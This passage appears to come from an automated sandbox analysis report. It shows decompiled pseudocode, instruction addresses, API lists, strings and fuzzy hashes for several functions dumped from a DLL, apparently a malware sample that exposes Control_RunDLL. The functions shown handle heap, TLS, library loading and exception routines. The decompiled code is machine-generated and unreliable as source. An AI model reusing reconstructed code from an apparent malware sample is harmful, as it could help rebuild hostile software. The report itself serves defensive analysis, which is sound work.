								asm("movsd xmm1, [0x6edfb22f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6EDD6C40(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6EDD6BC0( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6EDCAE10(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_v36 = _t51;
								E6EDC9770(_v40, _a4, _a8, _t51, _a16);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6ee0adc8, 0, _v36);
								}
								HeapFree( *0x6ee0adc8, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6ee0adc8 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6EDD6C30(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6EDB1000(_v52, _v48);
						return E6EDB1000(_v40, 0xf);
					} else {
						 *0x6ee0adc8 = _t45;
						goto L3;
					}
				}
				L21:
			}

0x6edb10a0
0x6edb10a0
0x6edb10a0
0x6edb10a3
0x6edb10a4
0x6edb10a5
0x6edb10a6
0x6edb10a9
0x6edb10ac
0x6edb10b3
0x6edb10c4
0x6edb10c7
0x6edb10cd
0x6edb10d4
0x6edb10e8
0x6edb10ed
0x6edb10f4
0x00000000
0x6edb10fa
0x6edb10fa
0x6edb1102
0x6edb110a
0x6edb110d
0x6edb1112
0x6edb1116
0x6edb111d
0x6edb1131
0x6edb1136
0x6edb113d
0x00000000
0x6edb1143
0x6edb1143
0x6edb114b
0x6edb1153
0x6edb1155
0x6edb115a
0x6edb115d
0x6edb1164
0x6edb1169
0x6edb1192
0x6edb1195
0x6edb1198
0x00000000
0x00000000
0x6edb119a
0x6edb119a
0x6edb11a0
0x6edb11a2
0x6edb1235
0x6edb123c
0x6edb1241
0x00000000
0x6edb11a8
0x6edb11ab
0x6edb11ad
0x6edb11b5
0x6edb11b8
0x6edb11bb
0x6edb11c2
0x6edb11c5
0x6edb11ca
0x6edb11cd
0x6edb11d0
0x6edb11d3
0x6edb11d6
0x6edb11d6
0x6edb1171
0x6edb1175
0x6edb117e
0x6edb1180
0x6edb1185
0x6edb1188
0x6edb118a
0x6edb118d
0x6edb1191
0x00000000
0x6edb1191
0x00000000
0x6edb11a2
0x6edb11db
0x6edb11e5
0x6edb11f2
0x6edb11fa
0x6edb11fe
0x6edb120b
0x6edb120b
0x6edb121b
0x6edb1220
0x6edb1223
0x6edb1230
0x6edb1230
0x6edb111f
0x6edb111f
0x6edb1126
0x6edb124a
0x6edb124a
0x00000000
0x6edb112c
0x6edb112c
0x00000000
0x6edb112c
0x6edb1126
0x6edb111d
0x6edb10d6
0x6edb10d6
0x6edb10dd
0x6edb1243
0x6edb1243
0x6edb124f
0x6edb1254
0x6edb1259
0x6edb1264
0x6edb126d
0x6edb1283
0x6edb10e3
0x6edb10e3
0x00000000
0x6edb10e3
0x6edb10dd
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6EDB10D6
HeapAlloc.KERNEL32(02ED0000,00000000,0000000F), ref: 6EDB10ED
GetProcessHeap.KERNEL32(02ED0000,00000000,0000000F), ref: 6EDB111F
HeapAlloc.KERNEL32(02ED0000,00000000,00000010,02ED0000,00000000,0000000F), ref: 6EDB1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,02ED0000,00000000,0000000F), ref: 6EDB120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,02ED0000,00000000,0000000F), ref: 6EDB121B

Strings

Control_RunDLL, xrefs: 6EDB114B
Control_RunDLL, xrefs: 6EDB1102

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 7a500e66c5e53282c1186b0509484c89f683b420a963d2444eeb99dbdf80929c
Instruction ID: 8ca5be82977e7ec5f9667888fc2a24f53be1af92f33081f46faf5d4bbfd21569
Opcode Fuzzy Hash: 7a500e66c5e53282c1186b0509484c89f683b420a963d2444eeb99dbdf80929c
Instruction Fuzzy Hash: 0251A0B5D00619DFDB00CFE4D840BEEB7B9FF89784F108529E806AB281E7719944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCC860, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDCC860(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				signed int _t84;
				char _t86;
				intOrPtr _t90;
				intOrPtr* _t91;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t103;
				signed int _t105;
				void* _t108;
				void* _t109;
				void* _t115;

				_t94 = __edx;
				_t79 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E6EDD6B40(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t103 = _t6;
				_push(_t103);
				_v20 = _t103;
				_v12 =  *(_t80 + 8) ^  *0x6ee0a4a4;
				E6EDCC820(_t80, __edx, __edi, _t103,  *(_t80 + 8) ^  *0x6ee0a4a4);
				E6EDCDB5C(_a12);
				_t56 = _a4;
				_t109 = _t108 + 0x10;
				_t100 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t100 - 0xfffffffe;
					if(_t100 != 0xfffffffe) {
						_t94 = 0xfffffffe;
						E6EDCDCE0(_t80, 0xfffffffe, _t103, 0x6ee0a4a4);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t100 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t84 = _v12;
							_t63 = _t100 + (_t100 + 2) * 2;
							_t80 =  *((intOrPtr*)(_t84 + _t63 * 4));
							_t64 = _t84 + _t63 * 4;
							_t85 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t86 = _v5;
								goto L7;
							} else {
								_t94 = _t103;
								_t65 = E6EDCDC80(_t85, _t103);
								_t86 = 1;
								_v5 = 1;
								_t115 = _t65;
								if(_t115 < 0) {
									_v16 = 0;
									L13:
									_push(_t103);
									E6EDCC820(_t80, _t94, _t100, _t103, _v12);
									goto L14;
								} else {
									if(_t115 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x6ee02504;
											if(__eflags != 0) {
												_t75 = E6EDD69A0(__eflags, 0x6ee02504);
												_t109 = _t109 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t105 =  *0x6ee02504; // 0x6edcca71
													 *0x6edd8154(_a4, 1);
													 *_t105();
													_t103 = _v20;
													_t109 = _t109 + 8;
												}
												_t66 = _a4;
											}
										}
										_t95 = _t66;
										E6EDCDCC0(_t66, _a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t100;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t100) {
											_t95 = _t100;
											E6EDCDCE0(_t68, _t100, _t103, 0x6ee0a4a4);
											_t68 = _a8;
										}
										_push(_t103);
										 *((intOrPtr*)(_t68 + 0xc)) = _t80;
										E6EDCC820(_t80, _t95, _t100, _t103, _v12);
										E6EDCDCA0();
										asm("int3");
										_t70 = _v40;
										_t90 = _v36;
										__eflags = _t70 - _t90;
										if(_t70 != _t90) {
											_t91 = _t90 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t97 =  *_t71;
												__eflags = _t97 -  *_t91;
												if(_t97 !=  *_t91) {
													break;
												}
												__eflags = _t97;
												if(_t97 == 0) {
													goto L24;
												} else {
													_t98 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t98 -  *((intOrPtr*)(_t91 + 1));
													if(_t98 !=  *((intOrPtr*)(_t91 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t91 = _t91 + 2;
														__eflags = _t98;
														if(_t98 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t100 = _t80;
						} while (_t80 != 0xfffffffe);
						if(_t86 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x6edcc860
0x6edcc867
0x6edcc86b
0x6edcc86c
0x6edcc872
0x6edcc87e
0x6edcc880
0x6edcc886
0x6edcc886
0x6edcc88f
0x6edcc891
0x6edcc894
0x6edcc897
0x6edcc89f
0x6edcc8a4
0x6edcc8a7
0x6edcc8aa
0x6edcc8b1
0x6edcc90d
0x6edcc910
0x6edcc918
0x6edcc91f
0x00000000
0x6edcc91f
0x00000000
0x6edcc8b3
0x6edcc8b3
0x6edcc8b9
0x6edcc8bf
0x6edcc8c5
0x6edcc930
0x6edcc939
0x6edcc8c7
0x6edcc8c7
0x6edcc8c7
0x6edcc8cd
0x6edcc8d0
0x6edcc8d3
0x6edcc8d6
0x6edcc8d9
0x6edcc8de
0x6edcc8f4
0x00000000
0x6edcc8e0
0x6edcc8e0
0x6edcc8e2
0x6edcc8e7
0x6edcc8e9
0x6edcc8ec
0x6edcc8ee
0x6edcc904
0x6edcc924
0x6edcc924
0x6edcc928
0x00000000
0x6edcc8f0
0x6edcc8f0
0x6edcc93a
0x6edcc93d
0x6edcc943
0x6edcc945
0x6edcc94c
0x6edcc953
0x6edcc958
0x6edcc95b
0x6edcc95d
0x6edcc95f
0x6edcc96c
0x6edcc972
0x6edcc974
0x6edcc977
0x6edcc977
0x6edcc97a
0x6edcc97a
0x6edcc94c
0x6edcc980
0x6edcc982
0x6edcc987
0x6edcc98a
0x6edcc98d
0x6edcc995
0x6edcc999
0x6edcc99e
0x6edcc99e
0x6edcc9a1
0x6edcc9a5
0x6edcc9a8
0x6edcc9b8
0x6edcc9bd
0x6edcc9c1
0x6edcc9c4
0x6edcc9c7
0x6edcc9c9
0x6edcc9cf
0x6edcc9d2
0x6edcc9d2
0x6edcc9d5
0x6edcc9d5
0x6edcc9d7
0x6edcc9d9
0x00000000
0x00000000
0x6edcc9db
0x6edcc9dd
0x00000000
0x6edcc9df
0x6edcc9df
0x6edcc9e2
0x6edcc9e5
0x00000000
0x6edcc9e7
0x6edcc9e7
0x6edcc9ea
0x6edcc9ed
0x6edcc9ef
0x00000000
0x6edcc9f1
0x00000000
0x6edcc9f1
0x6edcc9ef
0x6edcc9e5
0x00000000
0x6edcc9dd
0x6edcc9f3
0x6edcc9f5
0x6edcc9f5
0x6edcc9f9
0x6edcc9cb
0x6edcc9cb
0x6edcc9cb
0x6edcc9ce
0x6edcc9ce
0x6edcc8f2
0x00000000
0x6edcc8f2
0x6edcc8f0
0x6edcc8ee
0x00000000
0x6edcc8f7
0x6edcc8f7
0x6edcc8f9
0x6edcc900
0x00000000
0x6edcc902
0x00000000
0x6edcc900
0x6edcc8c5
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6EDCC897
___except_validate_context_record.LIBVCRUNTIME ref: 6EDCC89F
_ValidateLocalCookies.LIBCMT ref: 6EDCC928
__IsNonwritableInCurrentImage.LIBCMT ref: 6EDCC953
_ValidateLocalCookies.LIBCMT ref: 6EDCC9A8

Strings

csm, xrefs: 6EDCC93D

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 679bf0dc059ace74323c4eae3cdb4dda3532bce225834e855c039e36cbf6016c
Instruction ID: be13a148b39dd7aa670a2497f2da2c32f770072d656f0b095972b90e1efe5085
Opcode Fuzzy Hash: 679bf0dc059ace74323c4eae3cdb4dda3532bce225834e855c039e36cbf6016c
Instruction Fuzzy Hash: 8F418134A00219DFCF00CFA8C894A9EBBBDAF49768F108555E9189F351DB31D915CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2B10, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6EDC2B10(void* __ebx, long* __ecx, void* __edi, void* __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				long _v44;
				char* _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v64;
				char* _v68;
				long _v76;
				intOrPtr _v80;
				char _v84;
				long _v88;
				intOrPtr _v92;
				long _v100;
				intOrPtr _v104;
				char _v108;
				void* __ebp;
				long _t41;
				void* _t47;
				void* _t51;
				void* _t52;
				intOrPtr _t53;
				void _t56;
				void* _t65;
				long _t70;
				long* _t73;
				void* _t77;
				intOrPtr _t78;
				void* _t87;

				_t78 = _t77 - 0x5c;
				_v32 = _t78;
				_v20 = 0xffffffff;
				_v24 = E6EDC3C10;
				_t73 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				__imp__AcquireSRWLockExclusive(0x6ee0adb4, __esi, __edi, __ebx);
				_v36 = 0x6ee0adb4;
				_t70 =  *__ecx;
				if(_t70 != 0) {
					L10:
					__imp__ReleaseSRWLockExclusive(_v36);
					 *[fs:0x0] = _v28;
					return _t70;
				} else {
					_t7 =  &(_t73[1]); // 0x6edc3100
					_t56 =  *_t7;
					_t41 = TlsAlloc();
					if(_t41 == 0xffffffff) {
						_v20 = 0;
						E6EDD6E20(_t56, "assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi", 0x2e, _t70, _t73, __eflags, 0x6edfde0c);
						_t78 = _t78 + 4;
						asm("ud2");
						goto L12;
					} else {
						_t70 = _t41;
						if(_t56 == 0) {
							L9:
							 *_t73 = _t70;
							if(_t70 == 0) {
								L12:
								_v108 = 0x6edfd74c;
								_v104 = 1;
								_v100 = 0;
								_v92 = 0x6edfcd60;
								_v84 = 0x6edfd5a4;
								_v80 = 2;
								_v40 = 0;
								_v44 = 0;
								_v88 = 0;
								_v76 = 0;
								_v20 = 0;
								_v60 =  &_v108;
								_v56 = E6EDB22E0;
								_v68 =  &_v60;
								_v64 = 1;
								_v52 = E6EDBD2A0( &_v44, __eflags);
								_v48 =  &_v84;
								E6EDBD460( &_v52);
								asm("int 0x29");
								asm("ud2");
								goto L13;
							} else {
								goto L10;
							}
						} else {
							_t51 =  *0x6ee0adc8; // 0x2ed0000
							if(_t51 != 0) {
								L6:
								_t52 = HeapAlloc(_t51, 0, 0xc);
								_t87 = _t52;
								if(_t87 == 0) {
									goto L13;
								} else {
									 *_t52 = _t56;
									 *(_t52 + 4) = _t70;
									 *(_t52 + 8) = 0;
									_t65 = _t52;
									_t53 =  *0x6ee0adcc; // 0x0
									do {
										 *((intOrPtr*)(_t65 + 8)) = _t53;
										asm("lock cmpxchg [0x6ee0adcc], ecx");
									} while (_t87 != 0);
									goto L9;
								}
							} else {
								_t51 = GetProcessHeap();
								if(_t51 == 0) {
									L13:
									_t47 = E6EDD6C30(_t56, 0xc, 4, _t70, _t73, __eflags);
									asm("ud2");
									__eflags =  &_a8;
									return E6EDBC870(_t47,  &_v36);
								} else {
									 *0x6ee0adc8 = _t51;
									goto L6;
								}
							}
						}
					}
				}
			}

0x6edc2b16
0x6edc2b19
0x6edc2b1c
0x6edc2b23
0x6edc2b2a
0x6edc2b36
0x6edc2b39
0x6edc2b44
0x6edc2b4a
0x6edc2b51
0x6edc2b55
0x6edc2bc5
0x6edc2bc8
0x6edc2bd1
0x6edc2be0
0x6edc2b57
0x6edc2b57
0x6edc2b57
0x6edc2b5a
0x6edc2b63
0x6edc2be1
0x6edc2bf7
0x6edc2bfc
0x6edc2bff
0x00000000
0x6edc2b65
0x6edc2b65
0x6edc2b69
0x6edc2bbd
0x6edc2bc1
0x6edc2bc3
0x6edc2c01
0x6edc2c0a
0x6edc2c11
0x6edc2c18
0x6edc2c1f
0x6edc2c26
0x6edc2c2d
0x6edc2c34
0x6edc2c38
0x6edc2c3f
0x6edc2c46
0x6edc2c4d
0x6edc2c54
0x6edc2c5a
0x6edc2c61
0x6edc2c64
0x6edc2c73
0x6edc2c76
0x6edc2c79
0x6edc2c83
0x6edc2c85
0x00000000
0x00000000
0x00000000
0x00000000
0x6edc2b6b
0x6edc2b6b
0x6edc2b72
0x6edc2b86
0x6edc2b8b
0x6edc2b90
0x6edc2b92
0x00000000
0x6edc2b98
0x6edc2b98
0x6edc2b9a
0x6edc2b9d
0x6edc2ba4
0x6edc2ba6
0x6edc2bb0
0x6edc2bb0
0x6edc2bb3
0x6edc2bb3
0x00000000
0x6edc2bb0
0x6edc2b74
0x6edc2b74
0x6edc2b7b
0x6edc2c87
0x6edc2c91
0x6edc2c96
0x6edc2ca4
0x6edc2cb3
0x6edc2b81
0x6edc2b81
0x00000000
0x6edc2b81
0x6edc2b7b
0x6edc2b72
0x6edc2b69
0x6edc2b63

APIs

AcquireSRWLockExclusive.KERNEL32(6EE0ADB4), ref: 6EDC2B44
TlsAlloc.KERNEL32 ref: 6EDC2B5A
GetProcessHeap.KERNEL32 ref: 6EDC2B74
HeapAlloc.KERNEL32(02ED0000,00000000,0000000C), ref: 6EDC2B8B
ReleaseSRWLockExclusive.KERNEL32(6EE0ADB4), ref: 6EDC2BC8

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi, xrefs: 6EDC2BE8

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocExclusiveHeapLock$AcquireProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi
API String ID: 3228198226-2044759171
Opcode ID: 35b736f7fe40a4710e42ac189135e9331c14d0f41f9db9a92f43959c0dd3c494
Instruction ID: 7a61c6590f7fe2b54f396691c8695531eeaaf5aa2460c08eca65156fde693e8f
Opcode Fuzzy Hash: 35b736f7fe40a4710e42ac189135e9331c14d0f41f9db9a92f43959c0dd3c494
Instruction Fuzzy Hash: EC4134B590060ACFEB00CFD4D954BAEBBB9FF44718F104129D519AB380EB759949CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD1BFC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDD1BFC(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x6ee0b500 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x6ee034b0 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0x6ee0b500 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x6ee0b500 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E6EDCF838(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E6EDCF838(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x6edd1c05
0x6edd1c9a
0x6edd1c0d
0x6edd1c0f
0x6edd1c19
0x6edd1c1e
0x6edd1c2b
0x6edd1c40
0x6edd1c44
0x6edd1caa
0x6edd1caf
0x6edd1cb6
0x6edd1cba
0x6edd1cbd
0x6edd1cbd
0x6edd1cc3
0x6edd1cc3
0x6edd1ca5
0x6edd1ca9
0x6edd1ca9
0x6edd1c46
0x6edd1c4f
0x6edd1c88
0x6edd1c95
0x6edd1c97
0x6edd1c97
0x00000000
0x6edd1c97
0x6edd1c59
0x6edd1c5e
0x6edd1c63
0x00000000
0x00000000
0x6edd1c6d
0x6edd1c72
0x6edd1c77
0x00000000
0x00000000
0x6edd1c7c
0x6edd1c82
0x6edd1c86
0x00000000
0x00000000
0x00000000
0x6edd1c86
0x6edd1c23
0x00000000
0x00000000
0x00000000
0x6edd1c29
0x6edd1ca3
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,6EDD1D09,FFFDD001,00000400,?,00000000,?,?,6EDD1E82,00000021,FlsSetValue,6EE039F8,6EE03A00,?), ref: 6EDD1CBD

Strings

api-ms-, xrefs: 6EDD1C53
ext-ms-, xrefs: 6EDD1C67

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 3e29bfdf85f2b1a0633e8282fb5fdd06eb684c85df388812a17bc3261ac59e09
Instruction ID: 04c3a53ef609d7f89511d92b9b6b60e16c022345cb071885469b3784f1aca922
Opcode Fuzzy Hash: 3e29bfdf85f2b1a0633e8282fb5fdd06eb684c85df388812a17bc3261ac59e09
Instruction Fuzzy Hash: 1F210D76E00625EBDB2287E9CC44F9AB768EF427A0F254114E915A7384D731ED0DC7E0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCCCFF, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EDCCCFF(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x6ee0a4c0 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E6EDCDEBB(_t13, __eflags,  *0x6ee0a4c0);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6EDCDEF6(_t14, __eflags,  *0x6ee0a4c0, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E6EDCF601();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6EDCDEF6(_t18, __eflags,  *0x6ee0a4c0, 0);
								} else {
									_t8 = E6EDCDEF6(_t18, __eflags,  *0x6ee0a4c0, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6EDCF548(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x6edcccff
0x6edccd06
0x6edccd19
0x6edccd20
0x6edccd22
0x6edccd23
0x6edccd26
0x6edccd3f
0x6edccd3f
0x6edccd28
0x6edccd28
0x6edccd2a
0x6edccd34
0x6edccd3b
0x6edccd3d
0x6edccd44
0x6edccd4d
0x6edccd50
0x6edccd51
0x6edccd53
0x6edccd67
0x6edccd67
0x6edccd70
0x6edccd55
0x6edccd5c
0x6edccd62
0x6edccd63
0x6edccd65
0x6edccd79
0x6edccd7b
0x6edccd7b
0x00000000
0x00000000
0x00000000
0x6edccd65
0x6edccd7e
0x00000000
0x00000000
0x00000000
0x6edccd3d
0x6edccd2a
0x6edccd86
0x6edccd90
0x6edccd08
0x6edccd0a
0x6edccd0a

APIs

GetLastError.KERNEL32(00000001,?,6EDCCA41,6EDCA8E2,6EDCA0EC,?,6EDCA324,?,00000001,?,?,00000001,?,6EE07DA8,0000000C,6EDCA41D), ref: 6EDCCD0D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6EDCCD1B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6EDCCD34
SetLastError.KERNEL32(00000000,6EDCA324,?,00000001,?,?,00000001,?,6EE07DA8,0000000C,6EDCA41D,?,00000001,?), ref: 6EDCCD86

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 61d8c7f1dbd8eeed9fab948e3b57f513fae354cd68bb6b276559ad947fd1534d
Instruction ID: bc139a17a6d3951e82c676dd1cad555587e92a673349b0f15ae395f462b3c756
Opcode Fuzzy Hash: 61d8c7f1dbd8eeed9fab948e3b57f513fae354cd68bb6b276559ad947fd1534d
